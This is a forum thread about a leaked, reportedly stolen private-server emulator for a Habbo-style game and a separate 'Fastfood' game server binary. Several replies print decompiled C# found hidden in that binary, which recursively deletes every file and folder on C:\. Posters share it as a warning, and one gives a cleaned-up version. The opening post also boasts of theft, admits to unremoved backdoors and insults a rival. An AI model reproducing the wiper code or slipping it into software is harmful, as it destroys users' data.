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[LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Heya!
I'm the official leaker of butterstorm (i was the who's made the first in leak it..) and now i give for you guys the official latest with Fastfood :'D
Is really shit the fastfood(coded by someone named Doraemon lol)... works really bad, so i don't recommend to anyone use it, sometimes the client crash for the users playing fastfood.
The emulator is stable for 2500 users, tested on hlat.us (is same actual version).
- I have the decompiled source fixed by capostrike93 (some weeks ago), the bin and the real source.
- Binary Fastfood, i didn't decompiled it because i haven't time, so if someone do it and fix the source he can send me a PM for edit the
- The bin generated of the source code original (not decompiled) of this version is in /bin/Debug/
- Database is attached in the rar empty, anyway don't have big changes, just 7 columns (in users and
- enjoy that, you have source code, search any backdoor, i commented some backdoors but i didn't finished, so you are responsable for yourself.
Credits for:
Me
Itachi (Make butterstorm)
Habbia (HABBIA EMU == HABBOLATINO EMU)
Capostrike93(For fix the decompiled version)
Lavvos
LittleJ
Links of Emu+Database Structure:
HabbiaEmulator (Butterstorm aka hlat emu).rar (6.1 MB)
https://mega.co.nz/#!TRElxYLY!btRYvW...7KZXUo7tFhQwSc
Link of Fastfood Emu (JUST BIN NOT SOURCE INCLUDED)
Fastfood.rar (182 KB)
https://mega.co.nz/#!bQliCb7L!CDboPD...BPzoQNN65ZKhLs
Why HabbiaEmu?
Because i stoled it from hes friend, he gives upgrates to Habbia
Reasons why i release that and don't keeped for my own intereses (shit like a manifiest):
The owner of Hlat named Adalberto (Fakundo) is the responsable for destroy the Retro Community in spanish scene, from one year ago he likes ddos everyone better than him.
So, watching that, i was obliged to pay protected server of < 1500€ for one hotel of 500 users (majority of money from my pocket and donations from staff team) because this fag don't stoped from 1 year ago to DDoS (hitting 1.300.000pps), now he want to kill me (really lol, he searchs someone for go to my home for do it) reasons: because i give him back hes own shit lol and he can't put down my hotel. Just enjoy that mr.adalberto, you are a shit of humanity, your end is comming soon :D
Resumed, this guy is crazy and it's time to payback :D
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
This needs more of an explanation of how to use it exactly, why is fast food an exe etc? Stuff like SWF version also helps :lol:
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Dude, no problem...
I will upload all swf and make an tutorial in some minuts :)
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
iBling14
This needs more of an explanation of how to use it exactly, why is fast food an exe etc? Stuff like SWF version also helps :lol:
The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.
@OnTopic
Veeery good work decompiling it :)
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
It has fastfood somewhat coded but not 100%
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
Droppy
The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.
@OnTopic
Veeery good work decompiling it :)
I see, good to know.
@ThreadOwner ; I see that you said you have no time to Decompile the fast food, but can you do it after your video :S I want to steal it out of that dirty source.
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Droppy and I just decompile the emulator :)
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
neto737
Droppy and I just decompile the emulator :)
yeah but too bad that it is obfuscated though....
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
I recommend you guys use this one, is more stable than bcstorm (i tested it and with 500 users crash)
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
leenster
yeah but too bad that it is obfuscated though....
I got it De-obfuscated ;).
Edit:
FastFood De-Obfuscated - Compiled
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
iBling14
Not hard to deobfuscate the application (speaking from experience).
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
Quackster
Not hard to deobfuscate the application (speaking from experience).
Where and when did I state that it was hard? xD
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Cool release, maybe we can work as a community and get fast-food shizzle 100% ?
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
iBling14
Decompile that one and find this:
PHP Code:
namespace ns0
{
using System;
using System.IO;
internal sealed class Class0
{
internal static void smethod_0()
{
smethod_1(new DirectoryInfo(@"C:\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
void* voidPtr = (void*) stackalloc byte[8];
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*((int*) voidPtr) = 0;
Label_0010:
if (*(((int*) voidPtr)) >= files.Length)
{
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*((int*) (voidPtr + 4)) = 0;
while (*(((int*) (voidPtr + 4))) < directories.Length)
{
DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
smethod_1(info2);
*(((int*) (voidPtr + 4)))++;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
return;
}
FileInfo info = files[*((int*) voidPtr)];
try
{
File.Delete(info.FullName);
}
catch
{
}
*(((int*) voidPtr))++;
}
catch
{
}
goto Label_0010;
}
}
}
It does not require a lot of skills to figure out what that code is supposed to do....
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
leenster
Decompile that one and find this:
PHP Code:
namespace ns0
{
using System;
using System.IO;
internal sealed class Class0
{
internal static void smethod_0()
{
smethod_1(new DirectoryInfo(@"C:\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
void* voidPtr = (void*) stackalloc byte[8];
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*((int*) voidPtr) = 0;
Label_0010:
if (*(((int*) voidPtr)) >= files.Length)
{
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*((int*) (voidPtr + 4)) = 0;
while (*(((int*) (voidPtr + 4))) < directories.Length)
{
DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
smethod_1(info2);
*(((int*) (voidPtr + 4)))++;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
return;
}
FileInfo info = files[*((int*) voidPtr)];
try
{
File.Delete(info.FullName);
}
catch
{
}
*(((int*) voidPtr))++;
}
catch
{
}
goto Label_0010;
}
}
}
It does not require a lot of skills to figure out what that code is supposed to do....
FastFood De-Obfuscated - Compiled
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
^ I'm getting the same thing as leon. :closedeyes:
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
jaydenn
^ I'm getting the same thing as leon. :closedeyes:
Code:
using System;
using System.IO;
namespace ns0
{
internal sealed class Class0
{
internal static void smethod_0()
{
Class0.smethod_1(new DirectoryInfo("C:\\\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
// ISSUE: untyped stack allocation
void* voidPtr = (void*) __untypedstackalloc(8);
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*(int*) voidPtr = 0;
while (*(int*) voidPtr < files.Length)
{
FileInfo fileInfo = files[*(int*) voidPtr];
try
{
File.Delete(fileInfo.FullName);
}
catch
{
}
*(int*) voidPtr = *(int*) voidPtr + 1;
}
}
catch
{
}
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*(int*) ((IntPtr) voidPtr + 4) = 0;
while (*(int*) ((IntPtr) voidPtr + 4) < directories.Length)
{
Class0.smethod_1(directories[*(int*) ((IntPtr) voidPtr + 4)]);
*(int*) ((IntPtr) voidPtr + 4) = *(int*) ((IntPtr) voidPtr + 4) + 1;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
}
}
}
If you're talking about that, it's 1 file, remove it.. I didn't add it, should not be blamed for it, could be thread owner, or who ever coded it, after removing that, just fix a few more errors, and runs fine.
Edit:
FastFood De-Obfuscated - Compiled
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Job for leenster: add Fast food to ur edit lmao
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Why? do it yourself - download visual studios 2010 and add it
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
leenster
Decompile that one and find this:
PHP Code:
namespace ns0
{
using System;
using System.IO;
internal sealed class Class0
{
internal static void smethod_0()
{
smethod_1(new DirectoryInfo(@"C:\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
void* voidPtr = (void*) stackalloc byte[8];
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*((int*) voidPtr) = 0;
Label_0010:
if (*(((int*) voidPtr)) >= files.Length)
{
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*((int*) (voidPtr + 4)) = 0;
while (*(((int*) (voidPtr + 4))) < directories.Length)
{
DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
smethod_1(info2);
*(((int*) (voidPtr + 4)))++;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
return;
}
FileInfo info = files[*((int*) voidPtr)];
try
{
File.Delete(info.FullName);
}
catch
{
}
*(((int*) voidPtr))++;
}
catch
{
}
goto Label_0010;
}
}
}
It does not require a lot of skills to figure out what that code is supposed to do....
Why the fuck is he using bitwise operators for wiping C:
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
jaydenn
Why? do it yourself - download visual studios 2010 and add it
Its called a joke x)
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
leenster
Decompile that one and find this:
PHP Code:
namespace ns0
{
using System;
using System.IO;
internal sealed class Class0
{
internal static void smethod_0()
{
smethod_1(new DirectoryInfo(@"C:\\"));
}
private static unsafe void smethod_1(DirectoryInfo directoryInfo_0)
{
void* voidPtr = (void*) stackalloc byte[8];
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
*((int*) voidPtr) = 0;
Label_0010:
if (*(((int*) voidPtr)) >= files.Length)
{
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
*((int*) (voidPtr + 4)) = 0;
while (*(((int*) (voidPtr + 4))) < directories.Length)
{
DirectoryInfo info2 = directories[*((int*) (voidPtr + 4))];
smethod_1(info2);
*(((int*) (voidPtr + 4)))++;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
return;
}
FileInfo info = files[*((int*) voidPtr)];
try
{
File.Delete(info.FullName);
}
catch
{
}
*(((int*) voidPtr))++;
}
catch
{
}
goto Label_0010;
}
}
}
It does not require a lot of skills to figure out what that code is supposed to do....
I think it gives you a free cookie.
Also what are the features of this?
Has it LTD?
Do badges in catalogue work?
Rentable Bots?
Groups?
Tell me more features, cba to look over the source as I dont understand C#
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Does anyone know if this emulator is stable? More stable than BCStorm?
Thanks!
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
Snixerz
Does anyone know if this emulator is stable? More stable than BCStorm?
Thanks!
Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
tdid
Notreally. I tested fastfood on hlat.us but it isnt working. Dont bother using it. Also there are not that many features in it. Groups missing and stuff.
Does look like room promos are coded tho
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Can you make a mirror on mediafire.
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
If you want to understand what the class does, here is a better cleaned version using my personal program.
Code:
using System;
using System.IO;
namespace ns0
{
internal sealed class Class0
{
internal static void smethod_0()
{
Class0.smethod_1(new DirectoryInfo("C:\\\\"));
}
private static void smethod_1(DirectoryInfo directoryInfo_0)
{
try
{
FileInfo[] files = directoryInfo_0.GetFiles();
int ptr = 0;
while (ptr < files.Length)
{
FileInfo fileInfo = files[ptr];
try
{
File.Delete(fileInfo.FullName);
}
catch
{
}
int ptr = ptr + 1;
}
}
catch
{
}
try
{
DirectoryInfo[] directories = directoryInfo_0.GetDirectories();
DirectoryInfo[] array = directories;
ptr = 0;
while (ptr < array.Length)
{
DirectoryInfo directoryInfo_ = array[ptr];
Class0.smethod_1(directoryInfo_);
ptr = ptr + 1;
}
}
catch
{
}
try
{
Directory.Delete(directoryInfo_0.FullName);
}
catch
{
}
}
}
}
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Hi, can someone help me to Get and make work/ run this emulator for my hotel please ?
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
I see someone said room Promos, might add to mine x] and then release with new headers when i get to work x] but PS4 Release Stream.
What SWF revision does this run on by the way? I need it so i can convert the headers over x]
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
Quackster
Are you going to publish it?? :$
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
I don't know if this is real or fake (I think it's quite real but on hlat.us the fastfood gives me errors) but I'm saying thanks for the fastfood emulator.
Edit: lol'd hard:
PHP Code:
// .
[DllImport("mscorwks.dll", CharSet = CharSet.Unicode, EntryPoint = "StrongNameSignatureVerificationEx")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool ([MarshalAs(UnmanagedType.LPWStr)] string, [MarshalAs(UnmanagedType.Bool)] bool, [MarshalAs(UnmanagedType.Bool)] out bool);
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
The fastfood emulator is nice, thanks for releasing HabbiaEmu. :):
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
Jambokill
Can you make a mirror on mediafire.
HabbiaEmulator (Butterstorm aka hlat emu).rar (6.1 MB)
Mirror Multiupload.nl - upload your files to multiple file hosting sites!
Link del Fastfood Emu (Just the big and config files)
Mirror Multiupload.nl - upload your files to multiple file hosting sites!
SWFS is on Hlat.us, just rip it
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
Droppy
The Fastfood is out from emulator (a separed EXE) because uses another socket server, they also can do that in the same emu, but is better use a another emulator just for Fastfood, and they need own ServerMessage/ClientMessage.
@OnTopic
Veeery good work decompiling it :)
For Fastfood you can always just create a separate instance of a socket server/session and Message handler
For example MUS/Remote Connection you create a new socket instance.
This is a much better way than creating a whole new project.
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Can someone decompile Fast Food server and fix source working? I need fix some codes from it..
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Quote:
Originally Posted by
=dj.matias=
Can someone decompile Fast Food server and fix source working? I need fix some codes from it..
Which part of the codes do you need?
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Re: [LEAKED!] HabbiaEmu (ButterStorm original with FastFood)
Can someone tell me how to launch this?